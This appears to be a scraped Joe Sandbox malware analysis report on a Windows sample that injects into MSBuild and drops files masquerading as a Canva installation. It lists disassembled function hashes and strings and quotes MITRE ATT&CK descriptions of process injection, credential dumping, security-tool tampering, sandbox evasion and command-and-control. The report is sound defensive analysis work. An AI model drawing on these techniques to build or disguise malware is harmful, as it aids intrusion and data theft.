Snapshot File: hcaresult_17_2_f00000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$I0=$S3.$WG#`
API String ID: 0-3669199882
Opcode ID: 9fb87de9d4885ac4be5007292b0256428e15ddf753a83a0c783b7e4fb05dabd5
Instruction ID: c4c718d101a2625503d227a9a7cbea883703398d00f6cc8b9bd0e35ae54438f6
Opcode Fuzzy Hash: 9fb87de9d4885ac4be5007292b0256428e15ddf753a83a0c783b7e4fb05dabd5
Instruction Fuzzy Hash: 4B030574E0521ACFCB54CF68C884A9EBBF6FB89300F1495A6D819E7355E730AA81DF50

Function 00F015DF Relevance: 6.2, Strings: 4, Instructions: 1241COMMON

Download Yara Rule

Strings

*JL6, xrefs: 00F02240
S3., xrefs: 00F026D4
@^#, xrefs: 00F028FC
:hW`, xrefs: 00F02055

Memory Dump Source

Source File: 00000011.00000002.2661814410.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f00000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$S3.
API String ID: 0-1394080836
Opcode ID: 447d4a5c831950a4ba540f268df9514c13abdc5a6f17c30342943e351a793c3a
Instruction ID: 5ad2a9d08da1bc4183db96e05aeee51b0682a5cfe6a743501ee6b772d48627b1
Opcode Fuzzy Hash: 447d4a5c831950a4ba540f268df9514c13abdc5a6f17c30342943e351a793c3a
Instruction Fuzzy Hash: 5AD2E674E0062A8FCB54CF68D884A9EB7F6FB89304F1496A6D418E7355E730AE85DF40

Function 00F01070 Relevance: 4.1, Strings: 3, Instructions: 353COMMON

Download Yara Rule

Strings

35OG, xrefs: 00F01467
]/, xrefs: 00F013E1
5xID, xrefs: 00F01175

Memory Dump Source

Source File: 00000011.00000002.2661814410.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f00000_MSBuild.jbxd

Similarity

API ID:
String ID: 35OG$5xID$]/
API String ID: 0-1761396499
Opcode ID: 0b74f5a4effe2abc499d81979eb182c22e62be66a62c298760874e332b71be1c
Instruction ID: bf00f7c5652958e2cc043a751a6ec3288b967f71d0b72cfd5d09bf2500601328
Opcode Fuzzy Hash: 0b74f5a4effe2abc499d81979eb182c22e62be66a62c298760874e332b71be1c
Instruction Fuzzy Hash: D802C474E002198FCB54DFA9D980A9DBBF2FF49304F1481AAE409EB355EB30AA45DF51

Function 00F01060 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

5xID, xrefs: 00F01175

Memory Dump Source

Source File: 00000011.00000002.2661814410.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f00000_MSBuild.jbxd

Similarity

API ID:
String ID: 5xID
API String ID: 0-3965296546
Opcode ID: 98dbaed25d397c8dde6fc49d30937b2ebbae34ef818bd8a93db4f750d54a4b6f
Instruction ID: 3aceab429cddeefb0ee4c9fc6af0aa43e5a51208fd05f2b5f167b4db20883aa5
Opcode Fuzzy Hash: 98dbaed25d397c8dde6fc49d30937b2ebbae34ef818bd8a93db4f750d54a4b6f
Instruction Fuzzy Hash: 77E1C874E002099FCB54DFA9D580A9EBBF6FF49304F1481AAE409EB355DB34AA45CF50

Function 00F0B01F Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

rCI, xrefs: 00F0BA4A

Memory Dump Source

Source File: 00000011.00000002.2661814410.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f00000_MSBuild.jbxd

Similarity

API ID:
String ID: rCI
API String ID: 0-4128173682
Opcode ID: 49b8e15875bc3b84d20751efd880a9241acdb8151f96919906019dd67a03bb15
Instruction ID: cd6689417bac412d854c7c9cfb80cde0aeb0d1e57682b1639469a432b7d9fec8
Opcode Fuzzy Hash: 49b8e15875bc3b84d20751efd880a9241acdb8151f96919906019dd67a03bb15
Instruction Fuzzy Hash: 76914675E052199FCB14CF69D880ADEBBF6AB89300F14C1A6E918E7355DB309E41AF40

Function 00F0AD58 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2661814410.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f00000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 219bd88ffa68e154c60a9d98f0b04becdf9f9baa8a57cd77cfd7177045292974
Instruction ID: f3198ef9926deff983004c53ff16b0da3fc2acf7713e738995e648f5fb8ff352
Opcode Fuzzy Hash: 219bd88ffa68e154c60a9d98f0b04becdf9f9baa8a57cd77cfd7177045292974
Instruction Fuzzy Hash: A8310671D006088FDB08DFAAD9846DEFBF2BF89310F14D229E805BB298DB345945DB54

Function 00F0AD68 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2661814410.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f00000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa0451464ab882bed6c5104b5b3b850a07ddb22aeaeba13668bbe960789ecf5
Instruction ID: 355a625581b0c126db7587a35e8590aa27a6aedad5472e266e0ec7e08fd1e06b
Opcode Fuzzy Hash: 4aa0451464ab882bed6c5104b5b3b850a07ddb22aeaeba13668bbe960789ecf5
Instruction Fuzzy Hash: 94312871D006088FCB08DFAAD9846DEFBF2BF89310F14D229E405BB298DB345985DB14

Function 00F0AFC1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2661814410.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f00000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e25b4f46e4737849c9dd73d7a282c8726c3d3828c6186691a39a033497a0ee47
Instruction ID: 670d4f4ea94dbfa644d118a2687638d8383463caffc765dc41e6b346e394865f
Opcode Fuzzy Hash: e25b4f46e4737849c9dd73d7a282c8726c3d3828c6186691a39a033497a0ee47
Instruction Fuzzy Hash: EEF0E9B0D052059FC741DBB4E5456CDBFB1DF85314F1442EDD805A32A2EB700A4ACB51

Function 00F0AFD0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2661814410.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_f00000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c072853cd5055ca698a3aec3bb7c9bdcbbe69c3e7ee18cc7e324982bd636989d
Instruction ID: 9d2fd2ba0ded7a0a66e6ceb351d48dea4f28482f6775086360427195745124a8
Opcode Fuzzy Hash: c072853cd5055ca698a3aec3bb7c9bdcbbe69c3e7ee18cc7e324982bd636989d
Instruction Fuzzy Hash: 87E06D70D01209EFC744EBB9E94568DBBB6EB85304F1082A99404A32A0EB705A48DB51

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9VbeqQbgU4.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Canva\Canva.exe (copy)

C:\Program Files (x86)\Canva\LICENSE.electron.txt (copy)

C:\Program Files (x86)\Canva\LICENSES.chromium.html (copy)

C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)

C:\Program Files (x86)\Canva\chrome_100_percent.pak (copy)

C:\Program Files (x86)\Canva\chrome_200_percent.pak (copy)

C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)

C:\Program Files (x86)\Canva\ffmpeg.dll (copy)

C:\Program Files (x86)\Canva\icudtl.dat (copy)

C:\Program Files (x86)\Canva\is-2470K.tmp

Windows Analysis Report
9VbeqQbgU4.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre